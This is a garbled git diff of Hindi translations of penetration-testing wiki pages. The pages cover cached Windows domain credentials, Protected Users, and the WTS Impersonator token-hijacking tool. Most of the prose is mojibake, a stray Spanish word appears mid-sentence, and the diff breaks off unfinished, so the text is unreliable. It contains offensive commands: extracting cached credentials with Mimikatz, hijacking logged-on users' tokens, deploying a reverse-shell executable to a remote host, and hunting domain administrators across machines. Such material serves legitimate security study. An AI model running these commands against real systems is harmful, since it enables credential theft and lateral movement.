рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [рдЗрд╕ рд╕рдВрд╕рд╛рдзрди](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/) рдкрд░ рдЬрд╛рдПрдВред -## рдХреИрд╢ рдХреА рдЧрдИ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ +## Cached Credentials -Windows **рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг (LSA)** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Kerberos** рдФрд░ **NTLM** рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред Windows рдХреА рдПрдХ рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ **рдЕрдВрддрд┐рдо рджрд╕ рдбреЛрдореЗрди рд▓реЙрдЧрд┐рди** рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВ, рднрд▓реЗ рд╣реА **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдСрдлрд╝рд▓рд╛рдЗрди** рд╣реЛтАФрдпрд╣ рдЙрди рд▓реИрдкрдЯреЙрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд░рджрд╛рди рд╣реИ рдЬреЛ рдЕрдХреНрд╕рд░ рдЕрдкрдиреА рдХрдВрдкрдиреА рдХреЗ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рджреВрд░ рд╣реЛрддреЗ рд╣реИрдВред +Windows **рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **Local Security Authority (LSA)** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Kerberos** рдФрд░ **NTLM** рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред Windows рдХреА рдПрдХ рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ **рдЕрдВрддрд┐рдо рджрд╕ рдбреЛрдореЗрди рд▓реЙрдЧрд┐рди** рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдм рднреА рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВ рдЬрдм **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдСрдлрд╝рд▓рд╛рдЗрди** рд╣реЛтАФрдпрд╣ рд▓реИрдкрдЯреЙрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд░рджрд╛рди рд╣реИ рдЬреЛ рдЕрдХреНрд╕рд░ рдЕрдкрдиреА рдХрдВрдкрдиреА рдХреЗ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рджреВрд░ рд╣реЛрддреЗ рд╣реИрдВред -рдХреИрд╢ рдХреА рдЧрдИ рд▓реЙрдЧрд┐рди рдХреА рд╕рдВрдЦреНрдпрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдпрд╛ рд╕рдореВрд╣ рдиреАрддрд┐** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдорд╛рдпреЛрдЬреНрдп рд╣реИред рдЗрд╕ рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ рджреЗрдЦрдиреЗ рдпрд╛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдХреИрд╢ рдХрд┐рдП рдЧрдП рд▓реЙрдЧрд┐рди рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдпрд╛ рд╕рдореВрд╣ рдиреАрддрд┐** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ рджреЗрдЦрдиреЗ рдпрд╛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -рдЗрди рдХреИрд╢ рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдХрдбрд╝реА рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдХреЗрд╡рд▓ **SYSTEM** рдЦрд╛рддрд╛ рд╣реА рдЙрдиреНрд╣реЗрдВ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реИред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ SYSTEM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдРрд╕рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВ: `HKEY_LOCAL_MACHINE\SECURITY\Cache` +рдЗрди рдХреИрд╢ рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдХрдбрд╝реА рдирд┐рдЧрд░рд╛рдиреА рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдХреЗрд╡рд▓ **SYSTEM** рдЦрд╛рддрд╛ рд╣реА рдЙрдиреНрд╣реЗрдВ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реИред рдЬрд┐рдиреНрд╣реЗрдВ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ SYSTEM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдРрд╕рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВ: `HKEY_LOCAL_MACHINE\SECURITY\Cache` **Mimikatz** рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрди рдХреИрд╢ рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП `lsadump::cache` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред @@ -78,9 +107,9 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO - **Windows Digest**: **Windows 8.1 рдФрд░ Windows Server 2012 R2** рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, рд╕рд┐рд╕реНрдЯрдо Protected Users рдХреЗ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЪрд╛рд╣реЗ Windows Digest рд╕реНрдерд┐рддрд┐ рдХреБрдЫ рднреА рд╣реЛред - **NTLM**: рд╕рд┐рд╕реНрдЯрдо Protected Users рдХреЗ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ NT рдПрдХ-рддрд░рдлрд╛ рдХрд╛рд░реНрдпреЛрдВ (NTOWF) рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред - **Kerberos**: Protected Users рдХреЗ рд▓рд┐рдП, Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг **DES** рдпрд╛ **RC4 keys** рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рди рд╣реА рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ Ticket-Granting Ticket (TGT) рдЕрдзрд┐рдЧреНрд░рд╣рдг рдХреЗ рдмрд╛рдж рджреАрд░реНрдШрдХрд╛рд▓рд┐рдХ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдХреИрд╢ рдХрд░реЗрдЧрд╛ред -- **Offline Sign-In**: Protected Users рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрди-рдЗрди рдпрд╛ рдЕрдирд▓реЙрдХ рдкрд░ рдХреЛрдИ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╡реЗрд░рд┐рдлрд╛рдпрд░ рдирд╣реАрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрди рдЦрд╛рддреЛрдВ рдХреЗ рд▓рд┐рдП рдСрдлрд╝рд▓рд╛рдЗрди рд╕рд╛рдЗрди-рдЗрди рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рд╣реИред +- **Offline Sign-In**: Protected Users рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрди-рдЗрди рдпрд╛ рдЕрдирд▓реЙрдХ рдкрд░ рдХреЛрдИ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╡реЗрд░рд┐рдлрд╛рдпрд░ рдирд╣реАрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрди рдЦрд╛рддреЛрдВ рдХреЗ рд▓рд┐рдП рдСрдлрд╝рд▓рд╛рдЗрди рд╕рд╛рдЗрди-рдЗрди рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред -рдпреЗ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рддрдм рд╕рдХреНрд░рд┐рдп рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЬреЛ **Protected Users group** рдХрд╛ рд╕рджрд╕реНрдп рд╣реИ, рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕рд╛рдЗрди рдЗрди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕рдордЭреМрддрд╛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред +рдпреЗ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рддрдм рд╕рдХреНрд░рд┐рдп рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЬреЛ **Protected Users group** рдХрд╛ рд╕рджрд╕реНрдп рд╣реИ, рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕рд╛рдЗрди рдЗрди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдореМрдЬреВрдж рд╣реИрдВред рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдЖрдзрд┐рдХрд╛рд░рд┐рдХ [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) рджреЗрдЦреЗрдВред diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md index 97cae1559..ce55e40e5 100644 --- a/src/windows-hardening/stealing-credentials/wts-impersonator.md +++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md @@ -1,47 +1,47 @@ {{#include ../../banners/hacktricks-training.md}} -**WTS Impersonator** рдЙрдкрдХрд░рдг **"\\pipe\LSM_API_service"** RPC рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪреБрдкрдЪрд╛рдк рд▓реЙрдЧрд┐рди рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдирдХреЗ рдЯреЛрдХрди рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рддрд╛ рд╣реИ, рдкрд╛рд░рдВрдкрд░рд┐рдХ рдЯреЛрдХрди рдЕрдиреБрдХрд░рдг рддрдХрдиреАрдХреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдирд┐рд░реНрдмрд╛рдз рдкрд╛рд░реНрд╢реНрд╡ рдЖрдВрджреЛрд▓рдиреЛрдВ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдкреАрдЫреЗ рдХреА рдирд╡рд╛рдЪрд╛рд░ **Omri Baso** рдХреЛ рд╢реНрд░реЗрдп рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рдирдХрд╛ рдХрд╛рдо [GitHub](https://github.com/OmriBaso/WTSImpersonator) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред +**WTS Impersonator** рдЙрдкрдХрд░рдг **"\\pipe\LSM_API_service"** RPC Named pipe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪреБрдкрдЪрд╛рдк рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЙрдирдХреЗ рдЯреЛрдХрди рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рддрд╛ рд╣реИ, рдкрд╛рд░рдВрдкрд░рд┐рдХ Token Impersonation рддрдХрдиреАрдХреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдирд┐рд░реНрдмрд╛рдз рдкрд╛рд░реНрд╢реНрд╡ рдЖрдВрджреЛрд▓рдиреЛрдВ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдкреАрдЫреЗ рдХреА рдирд╡рд╛рдЪрд╛рд░ **Omri Baso** рдХреЛ рд╢реНрд░реЗрдп рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, cuyo рдХрд╛рдо [GitHub](https://github.com/OmriBaso/WTSImpersonator) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред -### рдореБрдЦреНрдп рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ +### Core Functionality рдЙрдкрдХрд░рдг API рдХреЙрд▓ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ: -```powershell +```bash WTSEnumerateSessionsA тЖТ WTSQuerySessionInformationA тЖТ WTSQueryUserToken тЖТ CreateProcessAsUserW ``` ### Key Modules and Usage -- **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛**: рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдиреАрдп рдФрд░ рджреВрд░рд╕реНрде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЧрдгрдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдХрд┐рд╕реА рднреА рдкрд░рд┐рджреГрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: +- **Enumerating Users**: рд╕реНрдерд╛рдиреАрдп рдФрд░ рджреВрд░рд╕реНрде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реВрдЪреАрдХрд░рдг рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рд╕рдВрднрд╡ рд╣реИ, рдХрд┐рд╕реА рднреА рдкрд░рд┐рджреГрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: -- рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ: -```powershell +- Locally: +```bash .\WTSImpersonator.exe -m enum ``` -- рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ, рдПрдХ IP рдкрддрд╛ рдпрд╛ рд╣реЛрд╕реНрдЯрдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ: -```powershell +- Remotely, by specifying an IP address or hostname: +```bash .\WTSImpersonator.exe -m enum -s 192.168.40.131 ``` -- **рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛**: `exec` рдФрд░ `exec-remote` рдореЙрдбреНрдпреВрд▓ рдХреЛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рд╕реЗрд╡рд╛** рд╕рдВрджрд░реНрдн рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╕реНрдерд╛рдиреАрдп рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ WTSImpersonator рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдФрд░ рдПрдХ рдЖрджреЗрд╢ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: +- **Executing Commands**: `exec` рдФрд░ `exec-remote` рдореЙрдбреНрдпреВрд▓ рдХреЛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **Service** рд╕рдВрджрд░реНрдн рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╕реНрдерд╛рдиреАрдп рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ WTSImpersonator рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдФрд░ рдПрдХ рдЖрджреЗрд╢ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: -- рд╕реНрдерд╛рдиреАрдп рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдЙрджрд╛рд╣рд░рдг: -```powershell +- Example for local command execution: +```bash .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe ``` -- рд╕реЗрд╡рд╛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП PsExec64.exe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -```powershell +- PsExec64.exe рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реЗрд╡рд╛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +```bash .\PsExec64.exe -accepteula -s cmd.exe ``` -- **рджреВрд░рд╕реНрде рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрди**: PsExec.exe рдХреЗ рд╕рдорд╛рди рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдиреЗ рдФрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **Remote Command Execution**: рдЗрд╕рдореЗрдВ PsExec.exe рдХреЗ рд╕рдорд╛рди рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдирд╛ рдФрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдЙрджрд╛рд╣рд░рдг: -```powershell +- Example of remote execution: +```bash .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2 ``` -- **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢рд┐рдХрд╛рд░ рдореЙрдбреНрдпреВрд▓**: рдХрдИ рдорд╢реАрдиреЛрдВ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрдирдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рддрд╣рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдХрдИ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред -- рдЙрдкрдпреЛрдЧ рдХрд╛ рдЙрджрд╛рд╣рд░рдг: -```powershell +- **User Hunting Module**: рдХрдИ рдорд╢реАрдиреЛрдВ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрдирдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рддрд╣рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХрдИ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред +- Usage example: +```bash .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 0418f417f..893fa9e03 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ 